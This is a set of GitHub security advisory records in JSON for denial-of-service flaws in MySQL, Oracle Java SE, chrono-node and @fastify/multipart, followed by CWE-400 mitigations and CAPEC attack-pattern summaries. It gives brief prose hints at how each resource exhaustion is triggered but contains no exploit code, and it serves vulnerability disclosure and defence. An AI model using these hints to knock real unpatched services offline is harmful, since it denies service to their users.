GHSA-HPGM-55WQ-HGMV
Vulnerability from github – Published: 2025-07-15 21:31 – Updated: 2025-07-15 21:31Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: LDAP Auth). Supported versions that are affected are 9.0.0-9.3.0. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2025-50103"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-15T20:15:46Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Security: LDAP Auth). Supported versions that are affected are 9.0.0-9.3.0. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-hpgm-55wq-hgmv",
"modified": "2025-07-15T21:31:43Z",
"published": "2025-07-15T21:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50103"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HPM9-74QX-6X32
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-06-30 03:36Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u481-perf, 11.0.30, 17.0.18, 21.0.10, 25.0.2, 26; Oracle GraalVM for JDK: 17.0.18 and 21.0.10; Oracle GraalVM Enterprise Edition: 21.3.17. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-34282"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-835"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-21T21:16:32Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u481-perf, 11.0.30, 17.0.18, 21.0.10, 25.0.2, 26; Oracle GraalVM for JDK: 17.0.18 and 21.0.10; Oracle GraalVM Enterprise Edition: 21.3.17. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).",
"id": "GHSA-hpm9-74qx-6x32",
"modified": "2026-06-30T03:36:21Z",
"published": "2026-04-21T21:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34282"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34282.json"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460044"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-34282"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9694"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9693"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9691"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9689"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9688"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9687"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9686"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9256"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:9254"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:22328"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:11902"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:11829"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:11822"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:11655"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:11403"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HPMR-G4PQ-JHGP
Vulnerability from github – Published: 2021-05-06 15:58 – Updated: 2021-04-23 18:47This affects the package chrono-node before 2.2.4. It hangs on a date-like string with lots of embedded spaces.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "chrono-node"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23371"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-13T21:50:04Z",
"nvd_published_at": "2021-04-12T13:15:00Z",
"severity": "HIGH"
},
"details": "This affects the package chrono-node before 2.2.4. It hangs on a date-like string with lots of embedded spaces.",
"id": "GHSA-hpmr-g4pq-jhgp",
"modified": "2021-04-23T18:47:21Z",
"published": "2021-05-06T15:58:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23371"
},
{
"type": "WEB",
"url": "https://github.com/wanasit/chrono/issues/382"
},
{
"type": "WEB",
"url": "https://github.com/wanasit/chrono/commit/98815b57622443b5c498a427210ebd603d705f4c"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-CHRONONODE-1083228"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service in chrono-node"
}
GHSA-HPP2-2CR5-PF6G
Vulnerability from github – Published: 2023-02-14 21:49 – Updated: 2023-02-14 21:49Impact
- The multipart body parser accepts an unlimited number of file parts.
- The multipart body parser accepts an unlimited number of field parts.
- The multipart body parser accepts an unlimited number of empty parts as field parts.
Patches
This is fixed in v7.4.1 (for Fastify v4.x) and v6.0.1 (for Fastify v3.x).
Workarounds
There are no known workaround.
References
Reported at https://hackerone.com/reports/1816195.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@fastify/multipart"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@fastify/multipart"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-25576"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-14T21:49:55Z",
"nvd_published_at": "2023-02-14T16:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\n* The multipart body parser accepts an unlimited number of file parts.\n* The multipart body parser accepts an unlimited number of field parts.\n* The multipart body parser accepts an unlimited number of empty parts as field\nparts.\n\n\n### Patches\n\nThis is fixed in v7.4.1 (for Fastify v4.x) and v6.0.1 (for Fastify v3.x).\n\n### Workarounds\n\nThere are no known workaround. \n\n### References\n\nReported at https://hackerone.com/reports/1816195.",
"id": "GHSA-hpp2-2cr5-pf6g",
"modified": "2023-02-14T21:49:55Z",
"published": "2023-02-14T21:49:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-multipart/security/advisories/GHSA-hpp2-2cr5-pf6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25576"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-multipart/commit/85be81bedf5b29cfd9fe3efc30fb5a17173c1297"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1816195"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fastify-multipart"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-multipart/releases/tag/v6.0.1"
},
{
"type": "WEB",
"url": "https://github.com/fastify/fastify-multipart/releases/tag/v7.4.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service due to unlimited number of parts"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.